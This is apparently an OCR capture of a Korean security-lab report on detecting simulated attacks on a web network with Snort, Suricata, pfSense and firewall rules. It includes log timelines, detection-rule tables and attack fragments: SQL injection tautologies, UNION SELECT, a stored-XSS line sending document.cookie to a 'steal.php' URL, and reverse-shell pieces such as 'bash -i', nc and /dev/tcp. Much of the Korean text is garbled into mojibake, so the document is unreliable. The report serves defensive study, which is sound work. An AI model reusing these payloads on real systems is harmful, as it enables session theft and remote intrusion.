payload = POST /login.php HTTP/1.1 BR2ELZAANE & 270!

action_result = 302 A (HE €5 &, x3)

*kkkkkkk

cookie = bat33sij

mariadb-audit - SELECT users
(D Hydra AbH CHY password_plain AFHZF CHY] # 2]
http-post-form - /login.ph .
1 S nginx-access - 200 (x44)
l 60 L 53| 0|4 2191 M
= B EFX .
@ 7= A A2 - 237 nginx-access - 302 (x3)
302 S& =gtot M B0 A3 - HNME 27| EUF
rsyslog — C&C It4 — DB Hxj
Ot T™ 2. 52 200 20 £ 302 848 - HEEZXA
O 27 ¢ Og=e=za O +2mHd 3=z

tﬂ.

ol

audit®| 2! password
HE o mgst &S 0|LC.

O Ul AlLI2IL0IA &2

ot
=

gXd=X, d2ld 0 HAS

= POST /login.phpOll Al & TH=200(x44) 1

_plain &t

H3=302(x3)2 & Xl 5t1, MariaDB

2F7) A

o

1t HZXoGtH st S8

e}
[=)

. 302 20l

= 25 HSEZ HOHESoHH Ot 2t 20 2F IS0l 0E AlUCILE

Ol #ExHO =2 GIIXl Rot= LIt R
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SCN-01
SQL Injection

SCN-02
X{Ed XSS - IDOR

SCN-03

BHREZA

SCN-04
2|t A4 RCE

ModSecurity
(RHE2EX)

942100
libinjection
403 EfX|

920350
Host | O %]
XSSEE 07|12

933110
PHP H=ZC EfX|
403 EHX|

nginx access
(POST £2X)

302915 93] 43

python-requests

302XSSSE 43
200 IDOR FE X%

200 A1H x 44
302 83 X3

MariaDB audit
(SAXHIP X)

1064 2H 2=
0215 23| Mg
1054 242 EfM
UNION B I

UPDATE orders
cancelled X5

SELECT users
APHZE i 2ol

auditd
(A 1P X)

MH 2307|158
(HAZX)

.

() AlLizle

O gxl 22 =5

—————————————————————

M| beacon §&
oAl FtE 3

25 ZH Wz
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sie AE0| H71x| Roh= HE

EXECVE bash -i
REVERSE_SHELL
connect failed
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HIOLAECI AL Y

HA 2ot
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|ot
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z
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4.DBHE 5. 4 &4 API 6. 22X CH S

A. IDS Sensor / 5% Packet =

1 Engine WEB 2% AZ

Snort3
alert

«t:&c MH ’.‘i%‘—J—‘
Alert_fast.txt
71

AlZF-|P - BH 234 7|8}
EE Y P B 2 - lﬁ;-,}f;f I
1P/ TCP AHZR [ A a3 4K T
3'_2-|| Elxl al
Zg:l l' QEEI- XT]‘I
B. pfSense IPS % = ee=

PFsense
Suricata

PFsense
Firewall

23 dojg &
SEEE AN

HER3 Z3

0K

UDP Port Scan

Host/IP Sweep

TCP SYN Scan

TCP Connect Scan

TCP NULL Scan

TCP FIN Scan

Rsyslog
2z 43

UDP Port Scan

Host/IP Sweep

TCP SYN Scan

TCP Connect Scan

TCP NULL Scan

TCP FIN Scan

24, M2 Y e
YREHE

o, SE] 7|
SZ EA 23T

=
(L

Python &4 J| &HEH

ICMP Port Unreachable &3 Z Al
20 W =& X Port 1094
CONFIRMED, 0tL|2 DETECTED
=&t Probe 20 Ol &t0|H

CONFIRMED

(C= =2Ct
T S g

10= W 2 & X IP 204,
ARP-ICMP-TCP Probe
10= L Port 200H, 80% Ol &}

Y 2= Al CONFIRMED
HENIOIA Ol2tz
ZJI RST Port 201 01401
Ct==SHEAHO0I2 22 = #tE RST
CONFIRMED
S gtat RST Port 2J4 01 &F0[ &
NULL Flag2 10= Wi Port 204
CONFIRMED
Hetat RST Port 204 01401

N& gl= FIN2Z Port 200K
CONFIRMED
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TCP Xmas Scan

TCP ACK Scan

IP Protocol Scan

OS Fingerprinting

HU
]
F9

UNION SQL Injection

HTTP Login Brute Force
IDOR &% X3

Path Traversal Al &

=

Path Traversal I} =&

XSS-1I| A -Session

0|:|

Active Content 2/ &

Cookie &% XSS &

Stored XSS

TCP Xmas Scan

IP Protocol Scan

St
ey == Rt

Xmas Flag Z=

TCP ACK Scan

0= U M2 THE

HIOFAEHCI AIZETHA 29

P
AO

S|
2

(e R=12=13
EaR=R<i

RST Port 2 0| &t0| ™
© 2 Port 204
CONFIRMED
o

=313
oSS

RST Port 274 0] &0/ &
CONFIRMED

HEHIOI3 8= ACKZ Port 204

ICMP Protocol Unreachable 21
0| 40|21 CONFIRMED

IP Protocol 8JH

10= L HI & 4 TCP Flag-Option

OS Fingerprinting

Profile 2&

attack_type

HTTP_CREDENTIAL_EXPOSURE

HTTP_SESSION_COOKIE_EXPOS
URE

SQL_INJECTION_TAUTOLOGY

UNION_SQL_INJECTION

SQLI_AUTH_BYPASS_SUCCESS

WEB_RESOURCE_ENUMERATION

HTTP_LOGIN_BRUTE_FORCE

IDOR_ENUMERATION_SUSPECTE
D

PATH_TRAVERSAL_ATTEMPT

PATH_TRAVERSAL_FILE_DISCLOS
URE

attack_type

CONFIRMED

Python 24 J|&

Login POST0| ID2t Password Field & i DETECTED
HTTP S & 2| CH&F Set-Cookie 2= DETECTED
Login &S UM &AM Z &0l literal Hl 4]  DETECTED

Query/FormOll Al &7 2t= UNION SELECT DETECTED

Login SQLi R& §l &&= Z& 1t Session

CONFIRMED
Cookie &=
60= LH /admin S /& URI 108 £ = &

DETECTED
= PSONEES
60= LH Login &I S & 103/ CONFIRMED
60 LH 22 M&-URINIM =5 =Xt ID

DETECTED
501 2+ 2xx
URI-Bodydil ../, /etc/passwd S DETECTED
Traversal @ & S 2xxot 212 I L&

CONFIRMED

PN
(=]

Jm

Python 24 J|&

MI| & FormOll A Script-Event

010
Il

XSS_ACTIVE_CONTENT_INPUT DETECTED
Handler-2| £ Active Tag
2 & Script0ll Al document.cookie
XSS_SESSION_THEFT_INPUT DETECTED
AE
e S0l 22 M THE Flow
STORED_XSS_CONFIRMED CONFIRMED

t

Il
i3

FOll

x

|’U:
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1/ 4! 22 Domain 0 PHISHING_DOMAIN_ACCESS
PHISHING_PAYMENT DATA POS
T
PHISHING_PERSONAL_DATA_PO
ST
PHISHING_PAYMENT _
AND_PERSONAL_DATA POST

Session Cookie M AHS SESSION_COOKIE_REUSE

&5 Session 212 URI HIJACKED_SESSION_

SENSITIVE_ACCESS

pS i
(= e

I g2 2 Reverse Shell

RLO Il @2 C RLO_FILE_UPLOAD
ad Jis @ ot
WEB_EXECUTABLE_FILE_UPLOAD
=
A% Y YR SUSPICIOUS_FILE_UPLOAD
UPLOADED_PHP_EXECUTION
QZS PHP &2
_REQUEST
UPLOADED_SUSPICIOUS_FILE
YEZC oM Iy F2

_ACCESS

SUSPECT_SERVER_OUTBOUND
oy MH 28 &3

_CONNECTION
PCAP 24 & 0f Al
STORED XSS
eEE XSS TEJF 102 ot &2 MH<Q

CONFIRMED.

HIOFAECI Al ZBIHA B0t ™20 b A
220 [et
Ll 2 Referer &£ = Stored XSS 01
DETECTED
2|2 Host &2
/CONFIRMED
SOIE X 22 22 Host2Z ItE Hdel H2 HZE A
Field POST CONFIRMED
S H2 A Al
22 HostZ Ji 21 & & Field POST
CONFIRMED
S H2 HAE Al
JIIEQL OB E Field SAl 85
CONFIRMED
IP B Al

[ = o Ny
==

&l CookieE CHE IP £ =

NFIRMED, UASH
User-AgentJt AtS €0 Y

& Al DETECTED
MAIE Session2 2 /mypage,

Jorders, /profile, /admin &2 & &3 CONFIRMED
==
Python 24 J|&E ==

Filenameil Right-to-Left Override *Z & DETECTED
PHP H E Filename &= DETECTED
2 & XH-MIME-Magic £ Xl &=

DETECTED
Al 2 &
A Z & Filenamelt &= GET/POST

DETECTED
URIDJE L XIoHD 2xx/3xx
HI-PHP 2| & Tt ol &5 F2 43 DETECTED
PE E2E 0|Z MHIIBIEE X Z2 #HEAHOIA 22 Al
e s8Iz H& CONFIRMED

SYUA OZ ChAl Z2AEH
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AERY FETES 172.16.10.1 > 172.16.10.18: ICMP echo request, id 1, seq 1, length 49
oot 14:35.375831 IP (tos Ox@, ttl 64, id 1696, offset @, flags [none], proto ICMP (1), length 68)
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-JIEN AR A HZE SE(ESTABLISHED,RELATED)2 61 &
(& At ESE A0l e SE
- DNS £3|= MS01 4 53(UDP+TCP =9)0t
- XtetEl= Ol2H2 5= OUTBOUND_DROP ESAtZ 22
-0l Al € HOIHS 28 25 Xt

| dE T

k

o
o

)

OtO

[Inbound]
- OIJLE MBS IP A2 MAC F=A0H'SAIO' 2 XI& [ 2F 3306/tcp &1 &
(mac-source & 2=Z IP AZL 2

-2 2=3306 EE H2

[Outbound]
-2 AHE Ht2E AT Yool =8

- 22 Al ESTABLISHED,RELATED EE2t 31 & &

=

[Inbound]

S22 CHel(IPCHY/Z R = A0 A 2= SNMP(161/udp)2t 51 =
- 22| S UM 2= Syslog(514/udp)2t 51 &

- el e 2UHE Al E2 Jlsote = A4 Y HMst

[Outbound]
-ZLIHY SO 2 SAHE T (2el e 22 3)
[Inbound]

- J|2 & & deny incoming

- 22| Xt IPOIl A 8F SSH(22/tcp) &= o1 &

-2LIHE HAIEEE HTTP/HTTPS(80, 443) A 2
ANAE 27 =& & Syslog(514/udp) 1 &

[Outbound]

-J|2 &2 deny outgoing 22 S 2 St AUE SAl Xt

- KBl ALEN 2012 ICMP(Ping)2t 02l 31 &

-DLIEY A T2 22 9 SNMP(161/udp) OFRHI2E 518
-2UIEHYE A ol Al AE(UHR OIS -7E) & X
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Firewalld

Firewalld

Firewalld
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[Inbound]
-HTTP/HTTPS(80, 443) & AMUIA &l JHEY
- J|& SSH MHElIA = Hl 2 (remove-service=ssh)

- 22| XHIPOI A @ = SSH(22/tcp) Bt Rich RuleZ 51 2

[Outbound]
- XI & = DB06(3306/tcp)2 2l M 20t 5 8
-Z=DNS =32 3&

HA AZ Well-known Port(4444, 5555/tcp) reject2 Xt &t
-2 AY Boll Al 2ol ZEZO R4 OIREIRE X
[Inbound]

-HTTP/HTTPS(80, 443) & AUlA &l JHe
- J|2 SSH AUl A= Ml H(remove-service=ssh)

- 22l XF IPOl A 2 & SSH(22/tcp) 2t Rich RuleZ ol 8

[Outbound]

- 2RI Al MS02(10.30.112.10)2 Snort & X| 2 1 Syslog(514/udp)2 &% 518
- 2l A & & Well-known Port(4444/tcp) reject= X+&t

-1 2 "leldf ol LE OlREI2E Xt

[Inbound]

- J|& MBI2A(http, https, ssh) & &l JH 2 Xl A

ZH 24 M8 MS020 A 2= 3306/tcplt 3 2

27 & IPS01/IDS01 S & H| IP2t 3306/tcp 61 &

2H2I X IPOIl 35 phpMyAdmin(80/443) 2 SSH(22) 2] B2 518

[Outbound]
- outbound_drop MO Z LIJte 2= E4 J|2 DROP
- 844 DBO5 3306/tcp CIOIE S71312F 02 ol &

-DB & Al 212 /5 Xttt

[Inbound]

- J| &2 MBIA(http, https, ssh) & &l JH 2 XA
-DB04°2| &2 OI0IH S5t EcHE(3306/tcp)2t A&
- 22| XHIPS) el S & & 2(80/tcp, 22/tcp)2t A E

[Outbound]
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[Inbound]

- J|& SSH MBIA X2 (remove-service=ssh)

- 22| Xt IPOI A 8F SSH(22/tcp) 51 &

- WS010l Al 2= 3306/tcp 412t 51 & (2 2| DROP)

[Outbound]

- 2l A 2 & 4444/tcp rejectz Xt

- Li£ 2 DBOI2Z 2|2 DNS(53/udp) & 2| & reject= SHl

-DB MO Q822 LJte HZ &&E

[Inbound]

- Jl2 AHIA(http, https, ssh) & A JHE I A

- 22| XHIPOIl CHoH A B 2t Xl HIO1 XI (80, 443), SSH(22), Jupyter(8888) &1 &

-SIOIECIAE HACZ M Y =X

[Outbound]

-2 &4-X 3 E <ol DB04(3306/tcp)=22| #Hel 8&L FHE
-ZH AHO E2 R R2 Ll A& 2 A5

[Inbound]

- J|& &2 deny incoming (2 € 2152 S DROP)

-dIEES XA 22l IPUIA 2= SSH(22/tcp)Bt 51 &

[Outbound]

- J|2 & 3 deny outgoing

-EHERNUER I HACZ0 3H EiH 5I8
- Xt DNS = 24(53/udp) 51 =

AN ARUCE LDe 24 Xt

--

[Inbound]
- HTTP/HTTPS(80, 443) 51 & (Zoll &l 21& £ 8)
-J|2 SSH MHIA M =, dIEE 22l IPOIA2F SSH(22/tcp) 51 &

I

[Outbound]
- 2l A & & Well-known Port(4444, 5555/tcp) reject= X+ &

[Inbound]

- J|2 SSH AUl A HM2H(remove-service=ssh)

S8 IPUHIA 2 SSH(22/tcp) &2 31 &

- S22 PO D HAE 2H L E(5000/tcp) 512
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=

[Outbound]
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[Inbound]
- J|& SSH MBIA X2 (remove-service=ssh)
- 228 POl Al 2 SSH(22/tcp) B2 518
MS04 = Firewalld - S22 IPOIAIQH HAE 2| % E(5000/cp) 51 S

[Outbound]
-2 E-2HNE ol el e WERD HE2Z 29| HZE/PingBt &

SCN-01. & OHZcIA01& O EF (USRI-HMEEFHNUIERE)
AH "HZes glol 22l HEts 28 ESotd ¢HE ZA detligHzE & 3E
HIZE-HleEHSE e EF — Sy A2l DB) 228 HoiZ 2IZ2(CRITICAL). (2H&: V-01
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SCN-01. & OS2I 01&E O & (USRS -HMEEHNUIERE)

rz
HO
S
[}

ghAl 4|2 Source Q0of
26-08-14-17:39:47.243887 KST analysis SYN_SCAN
26-08-14-17:39:47.409931 KST alert TCP SYN Scan
26-08-14-17:39:47.409955 KST alert TCP SYN Scan - RST/ACK
26-08-14-17:39:53.649463 KST alert Nmap Repeated header-only IP packets from same source - Nmap IP Protoc...
26-08-14-17:39:56.000000 KST mariadb SQL INJECTION
26-08-14-17:39:57.000000 KST modsec WAF Match (Syslog)
26-08-14-17:39:57.143699 KST alert SQL Injection - Always True Condition
26-08-14-17:39:57.143699 KST alert Login Request Contains Username and Plaintext Password
26-08-14-17:39:57.143699 KST alert SQL Injection - SQL Comment Detected on Login
26-08-14-17:39:57.143700 KST analysis SQL_INJECTION_TAUTOLOGY
26-08-14-17:39:57.143700 KST analysis HTTP_CREDENTIAL_EXPOSURE
26-08-14-17:40:02.000000 KST access SQL Injection 244 HO|2E OfA! (E2|A: 'union select')
26-08-14-17:40:02.000000 KST mariadb SQL_INJECTION
26-08-14-17:40:02.648790 KST alert SQL Injection - Information Schema Column
26-08-14-17:40:02.648791 KST analysis UNION_SQL_INJECTION
26-08-14-17:40:03.000000 KST modsec WAF Match (Syslog)
26-08-14-17:40:07.000000 KST access SQL Injection 2t HO| 2= OfE (E2|A: 'union select))
26-08-14-17:40:07.000000 KST mariadb SQL_INJECTION
26-08-14-17:40:07.981136 KST analysis UNION_SQL_INJECTION
26-08-14-17:40:07.981136 KST alert SQL Injection - UNION SELECT Credential Fields
26-08-14-17:40:08.000000 KST modsec WAF Match (Syslog)

Bl AIXI

8X AIJLIA
IDS-alert access log mariadb

TCP SYN Scan
TCP SYN Scan -
Nmap -sS SYN_SCAN - - -
RST/ACK ( At 23t
AS Al)
SQLi SQL_INJECTION SQL Injection - Always
- WAF Match (Syslog) SQL Injection
OR‘1'="71’ _TAUTOLOGY @ True Condition
SQL Injection - SQL
- Comment Detected on - - -

Login
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SQL Injection -

SQL Injection

HIOLAECI AL Y

HA 2ot

P
AO
N

SQL HI0l= UNION SQL
Information Schema o4 HOI2Z%  WAF Match (Syslog)  SQL Injection
2 Eol INJECTION
Column &
SQL Injection - UNION SQL Injection
SQLi UNION SQL
SECLECT Credential ofd HOIZ%  WAF Match (Syslog)  SQL Injection
o 32 X3 INJECTION
Fields oH&

SCN-02. Stored XSS I8t R Z @&- Z2HEL(CIERS) ALIE

ubal )| 7H Source [of

analysis

26-08-14-18:02:00.643985 KST HTTP_CREDENTIAL_EXPOSURE

26-08-14-18:02:00.701770 KST alert Stored XSS cookie

26-08-14-18:02:00.701770 KST analysis XSS_COOKIE_ACCESS_INPUT
26-08-14-18:02:00.705187 KST analysis XSS_SESSION_THEFT_INPUT
26-08-14-18:02:00.705187 KST analysis STORED_XSS_COMNFIRMED

26-08-14-18:02:00.710921 KST alert WEB SHELL - Outbound TCP Connection

modsec

26-08-14-18:02:01.000000 KST WAF Match (Syslog)

modsec

26-08-14-18:02:01.000000 KST WAF Match (Syslog)

access

26-08-14-18:02:12.000000 KST M4 sHo[RiZ oAl (1P B 10.60.0.100 -> 10.60.1.101)

access

26-08-14-18:02:14.000000 KST N4 sto[ R oAl (1P Bi=: 10.60.0.100 -> 10.60.1.101)

1 [PADN
88X AlIJUA

WAF Match

XSS(S) cookie XSS_COOKIE_ACCESS_INPUT Stored XSS cookie -
(document.cookie)

WAF Match
(onclick=)
NI& GHOITH A

=Py

Al
(=]

MNi& SHOITHZ <

XSS_SESSION_THEFT_INPUT -

Python £41 : XSS_SESSION_THEFT_INPUT

1. 21t orgy &

02
i
e

Jbs 8t HTML/JavaScriptdt £ O U= Xl
e onclick="..."
e <button> &2 HTML Ef 1

2. ZlJavaScriptt IIE A1) 2ARE EUHA N

Ql
rr
I
e
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rx
Rl
S
[
0

e document.cookieZ Bt FI| g2 A2
e new Image() &4
e img.src = 'http://10.60.1.101/steal.php?...&cookie=" + ...

— 00X FXME & 10.60.1.101=2 FI| &= &

Ok

Python =41 : Al 50| TH&
1. s NEYIPHE

o J|E Clienttil M AtEE S 310t UHE IPOIA

Jon

FOIT| Of Ml & oFOITHE 2

ez g§X

SCN-03. I HZCE Set clHA & A M A EH (RCE)

28 Azt Source a9

26-08-15-00:12:03.348453 KST analysis DANGEROUS_FILE_UPLOAD

26-08-15-00:14:15.088847 KST analysis UPLOADED_PHP_EXECUTION_REQUEST
26-08-15-00:15:10.686176 KST alert FILE UPLOAD - py Extension

26-08-15-00:15:15.320530 KST alert FILE UPLOAD - js Extension

26-08-15-00:15:19.042755 KST alert FILE UPLOAD - exe Extension

26-08-15-00:15:21.084243 KST alert FILE UPLOAD - sh Extension

26-08-15-00:15:23.352098 KST alert FILE UPLOAD - php Extension

26-08-15-00:15:41.000000 KST IEEEES A ZZEAH.php) 60 W 53] 04 ©EE A7
26-08-15-00:15:41.965129 KST alert WEB SHELL - Outbound TCP Connection
26-08-15-00:15:41.986000 KST auditd C2 ME| ®1Z 9 2|~ 2 FHO| IjE (E2]7: ‘bash -i)
26-08-15-00:15:42.070776 KST alert Bash Shell - External Connection

26-08-15-00:15:42.070776 KST alert Bash Shell - Command Attempt

26-08-15-00:15:42.115555 KST analysis WEB_EXECUTABLE_FILE_UPLOAD

26-08-15-00:15:42.158367 KST alert WEB ATTACK - Dangerous File Requested from Upload Directory
26-08-15-00:15:42.164851 KST analysis SUSPECT_SERVER_OUTBOUND_CONNECTION
26-08-15-00:17:12.280891 KST alert WEB SHELL - Interactive Shell Command Detected in Raw TCP Data

=P\ BIAIXI

AILIX IDS-alert access log
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WEB ATTACK - Dangerous File
.php It WEB_EXECUTABLE_FILE_ Requested from Upload
g2 UPLOUD Directory
FILE UPLOAD - php Extension
P =&
B _ DANGEROUS_FILE_UPLO e S2EXN60=LH 53]
e 53] -
ub Olat &= AN
olat HEE
C2 M A& & 2lHA
bash -i - Bash Shell - Command Attempt -
2 HHAO HE
nc Bash Shell - External
/dev/tcp Connection
/5
e SUSPECT_SERVER_OUTB WHB_SHELL - Outbound TCP
Ot=2H2& - -
. OUND_CONNECTION Connection
2
WEB SHELL - Interactive Shell
2l=A 2
- Command Detected Raw TCP - -
HHE E
Data
python 24 : DANGEROUS_FILE_UPLOUD
1. N2 UE AE &#EX3IS 0142 M
o S IPUAANZOHE ?E I &H X3S 01& S2E EX
SCN-04. Brute ForceE &t AtEX H & EH
M Az Source 2ok
26-08-14-17:57:26.000000 KST access 60z Lf & 21¢l(/login.php) 52| 20 (Web Brute Force 2| 2)
26-08-14-17:57:27.029660 KST alert Login Failed
26-08-14-17:57:27.035869 KST alert BF - Login Attempt
26-08-14-17:57:27.069773 KST alert Login Request Contains Username and Plaintext Password
26-08-14-17:57:27.103631 KST alert Login Request Contains Username and Plaintext Password
alert Login Failed
alert BF - Login Attempt

26-08-14-17:57:27.425433 KST

26-08-14-17:57:27.431591 KST

Login Failed

alert
BF - Login Attempt

alert

HTTP_CREDENTIAL_EXPOSURE

26-08-14-17:57:27.457104 KST
26-08-14-17:57:27.464515 KST
26-08-14-17:57:27.464515 KST analysis
26-08-14-17:57:27.467682 KST analysis SUSPECT_SERVER_OUTBOUND_CONNECTION
ELTI LI 5]
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8-1. UIER3

HERKI Jl= elAE

[ ——1

JE-MHIAY
SPAN
SSH

Frame Relay

Network VLAN
(Switch) VTP
STP
Port Security

(Switch) DHCP
PPP(PAP,CHAP)
SSH
RIP
EIGRP
Static Route
Default Route
ACL
(Router) DHCP
Network NAT (X, S &, PAT)

(Router) Floating Route

Split Horizon
Offset-list
Variance
Key Chain

Distribute-list

Redistribute

Manual Summary

LEZ FHotH 2LIEEtE Jls

StLES| AR LIER

£ 21X 0l M DHCP 221 7152 2415171 Lt DHCP E2f = Z HI0f
HUE Y20 OS] 2=5E NAGH= HOIH YT T2ES
AS5E 212 BES Sof 2t ROl CLIS &6 22

E 4201502 N Y2 E HEsts Hel HE oY

IZ2EZ

EIGRPOIA GIEZ0| CH

FI[U
OH
Hy
L]
i
_O'j
gl
S
2
e
i
Qﬂ
rr
x
0

CIRE ZZ2EZS S0 A2 2t 7= JI2tE |0 22

LY LHOIEMA 2L S0 J2E 2EHE

NZOUOECISE ZZEZ MOINMN 22 ZEE MEHH

r

22| e MR ZE2ESHUY A ==z AE 48
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Auto Summary

Passive Interface
(SIA 2 XI) RTO

(SIA 2 XI) Stub

8-2. N H

MH Jl= elAE

H

22 Mot
SCP

RAID
ClA3 2tel

Quota

SMB (Samba)

Y
o
0B
10

el
ne

FTP (vsftpd)
Rsync

Apache HTTP Server

Nginx
2 M H

IS

Virtual Hosting

PHP

Python
A HE2IAHOolE
Jupyter Server
Pydio Cells

ownCloud

MariaDB
DBMS
MySQL Client

HIOFAECI Al ZETHA 2ot

SHAS UEAD ZHUNAN B2E S22 Q0

F_>J
HO
N
\:_J

I'II'

QIHMHOIAZ RE HHOIESE BEUX A= £F

EIGRP 22| H2E MEtol ctE D SIA & EHO0l & Jtsd2 &5
“

A ASoE HAOZ QMBI HH0= AHIA
SSH OBt 2 M HAGHH ME6H= BE O -
o2l el A3 E 6lLel =2 CIATXME 2ot s ¢

5,1+0
HE A S
AT EE O8E UAT AI222 Mstolse Jls -
Windows 2t Linux 2+ It & Z2IH 57 MHIA 4.19.5
FTPEZEZSS 0|86 IIE Y2E L USZ2E MHIA 3.05
HEE MY HE6IH s8Ho=z WY 2 SI|5 =3 327
X 2 HOIXIE M3ote & MH 2.4.62

1.28.0/
s & MH L 2lHA ZSA AH

1.24.0
Microsofte| & MH Z=2 1 10
St & MBHOIA Oed JHSl & ALOIEE 2g6t= JIs -

8.4.23/
MH = 2 Ol E2IH018 LS 2t ATTE AN

8.0.30
HE T2 AHUZE AUSs L AMH Z2 0 ol &8 3.9.25
2 Bt JIBe UsHE e &3 M3 2.20.0
YOIB Y B2 & @Y ZHE 5.0.2
g olet I S8 & SURE AELX MUIA 10.16.0
MySQL JI8te| @EAA ZAHE OIOIEHI0IA 2te] AlAE 10.5.29
MySQL/MariaDB GIOIEHHI01 A & & 2te| &3 1.0.14-1
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Microsoft

DNS DNS Server (Master)

BIND9 (DNS Slave)

IP 2t DHCP (IPv4)
MRTG
Cacti

Monitorix

pfSense
Snort

Suricata

iptables

H
o

firewalld
UFW
TCP Wrapper
Rich Rules
ICMP Ignore

Cron

HIOFAECI Al ZETHA 2ot

F_>J
HO
N
\:_J

10.0.26100.1
SOie Ol IP =AE &¢2l5t= DNS Master Al H
457
DNS Zone 82 E = HI5t0{ M 335t= DNS Slave A H 9.16.23
FOIAE O Al | ENsSC= gYot= AMHIA IPv4
SNMP D8t UIES e 2LIHE &+ 217.7
SNMP J|Bt HIERT L AH SLIHE AIAE 1.2.26
MBel CpPy, BIR22l, CIA3 S8 2LIHEGI = 33 &2 3.16.0
518 2 2tRH JISS M30ts RLEAA Bt EHE 2.8.1
HEXT & SX L & gX AlAE(IDS/IPS) 122/
2.9.20_8
DVES UHERIIDS/IPS & EciiE 224 AX 7.0.11
Linux HE 2l 2! 2HE Zatd 1.8.10
Zone J|Etol S & Yats 22| MHIA 1.34
UbuntuOil Al AFS5t= 2tHE 258 22| &3 0.36.2
SAEDJIBEZ MO JIs2 Madte B &7 -
FirewalldOil Al =21 D| 8t &35l S HF5t= JIs -
ICMP Echo(Ping) R & £ XtHot0d SEotAl &= 2ot &3 -
KNEE AN HE S MHs22 Aldl= AHEH 3.0pl1-184

-

= A M T =X 2 SLIEE

HDO01, HDO02, DB01, DB02, DB03

Monitorix 3.16.0
Quota -
Raid 5,1+0
Rsync 3.2.7
Cron 3.0pl1-184
scp -
icmp ignore -
iptables 1.8.10
Firewalld 1.34

DBO1, DB02, DB03 £d 712t 0l

wn
e
K
W
4
Ja

WS01, ATKO1 M2l & AMH cl=sA ety 2
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e

0.36.2
Tcp-wrapper -
Rich Rules -
8-3. dl &
B2 33 0|8
XSS (stored, reflected)

29 A Jl= elAE
file inclusion, file upload

o 6 21
S X Al
bruteforce
SQL injection
broken access control

reverse shell

Kali Linux (Red)
28 E0S
Rocky 9.7
SH Ola AH0IE
Window 2025
RLO
scan(NMAP)
packet craft tool (original tool)

NMAP

JA

ol AX|
Ty

8-4. HE
2ot J|le 2lAE
=7
PyMySQL Pythont MySQL-MariaDB & &
SSH-SFTP D&t A HHl 8= 2 2 -
SSH-SFTP DBt A HER/ D HEl x5 ¢ =21 -0t =&

& A&
Paramiko
Python 2t0|E2{ el
Netmiko
dpkt PCAP IIA L HERIDA ZZEZ 24
=& libpcap UESZ 2! X L PCAP Hel
UESRZ CIEHOIA ECT S AAI2H MG
=& Y Z24 tcpdump
NE. ZOH-EoH 24 Al 2H I8 I &0l &2
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Snort
Suricata

pfSense
syslog-ng
rsyslog

MariaDB

GeolP2

HIOFAECI Al BT A 20
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Src IP, Src Port, Dst IP, Dst Port

= Azl

Web

o

¥
it}
I

0H
10

El
e

M
it
]
of

UDP 2!

HI

ARP

ICMP

UDP

TCP

FTP

HTTP

SNMP

DNS

SSH

SMB

P

F20 tHSdts

o
=
i
i
!
=

ZHOIXl % GI0IE

s

HESAD FY »

0K
O

TCP 20, 21

TCP 80

UDP 161, 162

UDP/TCP 53

TCP 22

TCP 445, 139

UDP 67, 68

I

=9 gol

00
Jo

Src Mac, Dst Mac, Opcode

Type, Code, Identifier, Sequence Number, Checksum

Length, Checksum, Payload

Flag, Window size, Checksum, Sequence Number,
Payload
Request Command, File Name, Response Code, & &

gt

0%

Method, URI, Host, Referer, User-Agent, Content-Type,
Body, Status Code

Version, Community, PDU Type, Request ID, OID, Value,

Error Status

Transaction ID, Query Name, Query Type, Response
Code, Answer

SSH Version, Encryption Algorithm, Key Exchange
Algorithm, MAC Algorithm, Compression

SMB Version, Command, Session ID, Tree ID, Share
Name, File Name, Status Code

Message Type, Transaction ID, Client MAC, Requested
IP

Length UDP dll(H 2t PayloadE &8t & Xl 20| 87 bytes
Checksum UDP Gl 2t TIOIE S &=4& IR E &2I5t= gt 0x738c
Payload UDPE Sdll MY &= AN &% Z2E2 oI
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TCP Ij3!
o s LIEtH= W8 Gil Al
Flags o8 45-00IH &21-8 32 S TCPHUHEE SYN, ACK
Window Size 4 F0| =2 &2 £ A= 4oy 20| 254
Checksum TCP o2 OIOIEH2 &4 HRE &2lct= gt 0xd906
Sequence Number HdEE = HO0IEHS BIOIE =AM E LIEtW=E B S 97
Payload TCPE Soll ME&= &N &< Z2ES Ul0lH
ARP I43!
24 88 LIEHLH= LS Gl Al
Source MAC ARP Z &= &8 ZHI2l MAC =2 b4:2e:48:8b:a4:15
Destination MAC ARP T2 =4E #H|I2 MAC =2 00:0c:29:97:9e:b7
Opcode ARP Request?t ARP ReplyE /1 Z06t= a8t request(1), reply(2)
Target MAC MAC =4AE 21 UL SEHE 22 & FHl2 MAC =2 00:00:00_00:00:00
Target IP MAC =4 &0lotdd= A IPvd =4 172.16.10.1
ICMP TH3!
=4 LEHH=E LS Gil Al
Type ICMP Bl Al XISl & X 8 Echo Request
Code HE Typell M= &2l 3 Port Unreachable
Identifier 22 Ping N8 S 71 20t= A8 BS 0x1234
Sequence Number | Ping Q& -SES2 =M BS 1, 2, 2003
Checksum ICMP Ii3! 8] £4& R E &0lot= gt 0x7c21
FTP Ij3!
Request Command FFTP MBI Ol &8 & USER, LIST, RETR
File Name QE UA WY = ClEHe 018 report.pdf, /upload
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Response Code AHe & Xel Zu 226 -H0IH &8 &=

550 - mt/CIHel e A

I
-
U
&l
»

Method SciOIHEI Q&S &2 EF GET, POST
URI QEsHE A2 B2 f/index.html, /api/users
Host QLE A & Ay 0ol www blueberry.com
http://www.bl [ry.com
Referer S RES LMAIZ!I 01 HIOIX .
User-Agent QEU AI2E ECRM-EZ2OHFE Mozilla/5.0
Content-Type GiolE < ! application/json
Body QLE TE=SEH Z8E AH OoIH JSON, HTML, It G0l &
Status Code MBS F Mel 21 200, 404, 500
SNMP

ST

Version AtE S0 SNMP H& v1, v2c, v3
Community SNMP viiv2cOl Al AFZ3tE 218 2AHE public, private
PDU Type Lo 4828 S UHANXN S GetRequest, Trap
Request ID QEI SYS oPsl= AlE ES Ox4a2b1c8f (1244347535)
oID XE/EE A MIB 247 Al R 1.3.6.1.2.1.1.3.0 ( sysUpTime )
Value OID0ll oGt &M AEH TIOIE at Linux rocky9... , Counter: 10485

Error Status

VarBind (List)

0]
N
S
o
0z
o
0]
bl

=5 (Variable Bindings)

noError, noSuchName

[OID + Value] # &M S5

GetRequest 0xa0 E3 OID gt =3 22l M8 — ZBI(UDP 161)
GetNextRequest Oxa1 CtE2 OID gt =3 22l M8 — ZBI(UDP 161)
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PDU Type ASN.1 TAG 9—] 0l Sl 2§
GetBulkRequest Oxa5 0ief OID 2t & Bl =3 22l A8 — ZHI(UDP 161)
22| N — ZHI(UDP 161)
SetRequest 0xa3 OID gt H&
Get/Set R E 0ll CHEH 2 1t &l — &tel A (Ephemeral
GetResponse 0xa2
GIOIE gtat Port)
ZOHLE AEH HIIE HISOI=
